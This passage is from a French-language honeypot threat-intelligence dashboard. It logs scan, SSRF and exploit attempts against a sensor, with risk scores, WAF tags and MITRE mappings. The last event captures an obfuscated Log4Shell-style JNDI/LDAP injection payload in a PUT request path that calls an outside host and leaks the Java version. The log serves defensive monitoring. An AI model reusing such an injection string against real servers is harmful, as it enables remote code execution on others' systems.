},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8444"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"http-alt-8087"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 22,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:49:20 UTC
TCP
8200 · HTTP
SSRF interne
ssrf internal · via HTTP:8200 · (tentative d'exploit)
Élevée
Moyen · 54
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
TA0001
TA0001
TA0002
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Investiguer
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8200
Chemin / cible
/
Pourquoi cette classification : Type « ssrf_internal » (signaux protocolaires) · confiance 54%
Confiance classification
72%
Corrélation +18
Risque capteur
Moyen
· 54
Confiance : Confiance 54 % — Motif catalogue confirmé · 3 tag(s) WAF
Protocole émulé
1 Signaux
CRS-920350
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8200
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac
Requête brute (extrait)
GET / HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8200 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "c6008d4edabeb39bfcb7d799569622afcd6dbf62",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 216,
"payload_entropy": 5.393380860272721,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8200,
"risk_waf": 72,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 4,
"risk_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 54,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "fed19d0b5e65b1e2c31b4a8fa89586f8bd5c09ea",
"event_fingerprint": "6249769caa2e0864964ad932b26cc1e8f4e6a6a5",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"confidence": 0.72,
"classification_confidence": 0.72,
"precision_score": 64,
"precision_signals": [
"CRS-920350"
],
"kb_rule_ids": [
"CRS-920350"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 54,
"correlation_boost": 18
},
"named_classification_skipped": false,
"classification_parent": "ssrf_attack",
"service_name": "http",
"risk_confidence_factor": 54,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "bb21b3a6427d993d1716eb49e074c182",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8200,
"service": "http",
"service_name": "http",
"risk_score": 54
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8200\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8200\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8200\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8200\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8200\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "39f15ecd90574d7a5be4f27d3b06db6edf8f6bcc",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8200,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8200\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"attack_vector": "ssrf internal \u00b7 via HTTP:8200 \u00b7 (tentative d'exploit)",
"target_port_label": "8200 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"classification_reason_label_fr": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 54\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 72 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 72,
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 54,
"correlation_boost": 18
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 54,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8200,
"protocol_emulated": true,
"tags_summary": [
"CRS-920350"
],
"tags_summary_labels_fr": [
"CRS-920350"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8200,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "ssrf internal \u00b7 via HTTP:8200 \u00b7 (tentative d'exploit)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8200\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"target_port_label": "8200 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 72 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +18 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8200"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"http-alt-8087"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 24,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:47:31 UTC
TCP
8098 · HTTP
Scan de ports
port scan syn · via HTTP:8098 · (reconnaissance)
Élevée
Moyen · 53
Détails
Voir
Étape
Reconnaissance
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Investiguer
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8098
Chemin / cible
/
Pourquoi cette classification : Type « port_scan_syn » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +18
Risque capteur
Moyen
· 53
Confiance : Confiance 100 % — 3 tag(s) WAF
Signaux
MITRE-T1046
SIGMA-net-port-scan
Beh Multi Port 60S
Tactiques MITRE
TA0043
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8098
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac
Requête brute (extrait)
GET / HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8098 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "5efdefd863a4d66fbe8467b79a0f3e2099485be0",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 216,
"payload_entropy": 5.414349957555039,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8098,
"risk_waf": 72,
"risk_classification": 64,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 25,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 2.2,
"risk_breakdown": {
"waf": 72,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 25,
"novelty": 15
},
"risk_score": 53,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "f619c107fa0c70395daa9c6ab94ad49bb60c1bce",
"event_fingerprint": "6eb627d83d39abbafc7bf052c78fdedabc2bd43f",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 231,
"precision_signals": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"kb_rule_ids": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 72,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 25,
"novelty": 15,
"risk_score": 53,
"correlation_boost": 18
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "91fbd72aaf69800685e30ee914fadbc2",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8098,
"service": "http",
"service_name": "http",
"risk_score": 53
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8098\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8098\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8098\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8098\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8098\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "recon",
"mitre_tactics": [
"TA0043"
],
"mitre_techniques": [
"T1046"
],
"mitre": "T1046",
"threat_family": [
"scanner"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "88f5eadd42b8bca81b85251d0a0b399be2edfd64",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8098,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8098\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"attack_vector": "port scan syn \u00b7 via HTTP:8098 \u00b7 (reconnaissance)",
"target_port_label": "8098 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 53\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 72,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 25,
"novelty": 15,
"risk_score": 53,
"correlation_boost": 18
},
"attack_stage": "recon",
"attack_stage_label": "Reconnaissance",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 53,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8098,
"protocol_emulated": null,
"tags_summary": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"tags_summary_labels_fr": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"Beh Multi Port 60S"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1046",
"mitre_technique": "T1046",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8098,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port scan syn \u00b7 via HTTP:8098 \u00b7 (reconnaissance)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8098\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"target_port_label": "8098 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +18 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": true,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8098"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"http-alt-8087"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 25,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"asn_dc_heuristic": true
}
30/07/2026 18:47:22 UTC
TCP
8087 · HTTP
deser php attack
deser php attack · via HTTP:8087 · (tentative d'exploit) · → /${${2:l7m:-j}${j8em:o4:i6k:-n}${iw:4xfj:0avg:-…
Élevée
Élevé · 71
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
TA0001
TA0001
TA0002
Protocole
PUT /${${2:l7m:-j}${j8em:o4:i6k:-n}${iw:4xfj:0avg:-d}${d:-i}${sm:p8uw:x5g0:-:}${jas4:zj:-l}${7b39:3:-d}… UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
26
Recommandation
Investiguer
Tags
950324:rce-0
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
PUT
/${${2:l7m:-j}${j8em:o4:i6k:-n}${iw:4xfj:0avg:-d}${d:-i}${sm:p8uw:x5g0:-:}${jas4:zj:-l}${7b39:3:-d}${pa6b:1:-a}${7u:u:-p}${x3:o17:jz:-:}${t3o:fja:-/}${5zsw:-/}${h90r:qjd:-P}${j:2:-A}${wrz:-l}${e36:o:qa:-0}${ah:25:x:-c}${rgml:--}${${r:b:0:-s}${c:56:5bd:-y}${8r5s:rjol:-s}${w1:-:}${l:s9:8kun:-j}${xjf0:v:-a}${g3:suv:-v}${qzde:5wz0:po:-a}${in:l2:b7:-.}${4f5:8q24:k:-v}${s:s8g:92pk:-e}${3tz:etzb:xolj:-r}${y4v:yqnd:e0:-s}${jn:w:-i}${qot:-o}${d0n:s:m39:-n}}${b:xlbm:o7z:-.}${o6:2p:b:-4}${fba1:g6wp:-e}${y:-b}${5:n:q1:
TLS SNI
—
Capteur
paris-1
Méthode
PUT
Port
8087
Chemin / cible
/${${2:l7m:-j}${j8em:o4:i6k:-n}${iw:4xfj:0avg:-d}${d:-i}${sm:p8uw:x5g0:-:}${jas4:zj:-l}${7b39:3:-d}${pa6b:1:-a}${7u:u:-p}${x3:o17:jz:-:}${t3o:fja:-/}${5zsw:-/}…
Pourquoi cette classification : Type « deser_php_attack » (signaux protocolaires) · confiance 95%
Confiance classification
100%
Corrélation +18
Risque capteur
Élevé
· 71
Confiance : Confiance 95 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1 Signaux
pat-0817
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
ET PHP serialize O:
CRS 933135
Ligne de requête
PUT /${${2:l7m:-j}${j8em:o4:i6k:-n}${iw:4xfj:0avg:-d}${d:-i}${sm:p8uw:x5g0:-:}${jas4:zj:-l}${7b39:3:-d}${pa6b:1:-a}${7u:u:-p}${x3:o17:jz:-:}${t3o:fja:-/}${5zsw:-/}${h90r:qjd:-P}${j:2:-A}${wrz:-l}${e36:o:qa:-0}${ah:25:x:-c}${rgml:--}${${r:b:0:-s}${c:56:5bd:-y}${8r5s:rjol:-s}${w1:-:}${l:s9:8kun:-j}${xjf0:v:-a}${g3:suv:-v}${qzde:5wz0:po:-a}${in:l2:b7:-.}${4f5:8q24:k:-v}${s:s8g:92pk:-e}${3tz:etzb:xolj:-r}${y4v:yqnd:e0:-s}${jn:w:-i}${qot:-o}${d0n:s:m39:-n}}${b:xlbm:o7z:-.}${o6:2p:b:-4}${fba1:g6wp:-e}${y:-b}${5:n
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
Payload (extrait)
PUT /${${2:l7m:-j}${j8em:o4:i6k:-n}${iw:4xfj:0avg:-d}${d:-i}${sm:p8uw:x5g0:-:}${jas4:zj:-l}${7b39:3:-d}${pa6b:1:-a}${7u:u:-p}${x
Requête brute (extrait)
PUT /${${2:l7m:-j}${j8em:o4:i6k:-n}${iw:4xfj:0avg:-d}${d:-i}${sm:p8uw:x5g0:-:}${jas4:zj:-l}${7b39:3:-d}${pa6b:1:-a}${7u:u:-p}${x3:o17:jz:-:}${t3o:fja:-/}${5zsw:-/}${h90r:qjd:-P}${j:2:-A}${wrz:-l}${e36:o:qa:-0}${ah:25:x:-c}${rgml:--}${${r:b:0:-s}${c:56:5bd:
Meta JSON brut
{
"protocol_emulated": true,
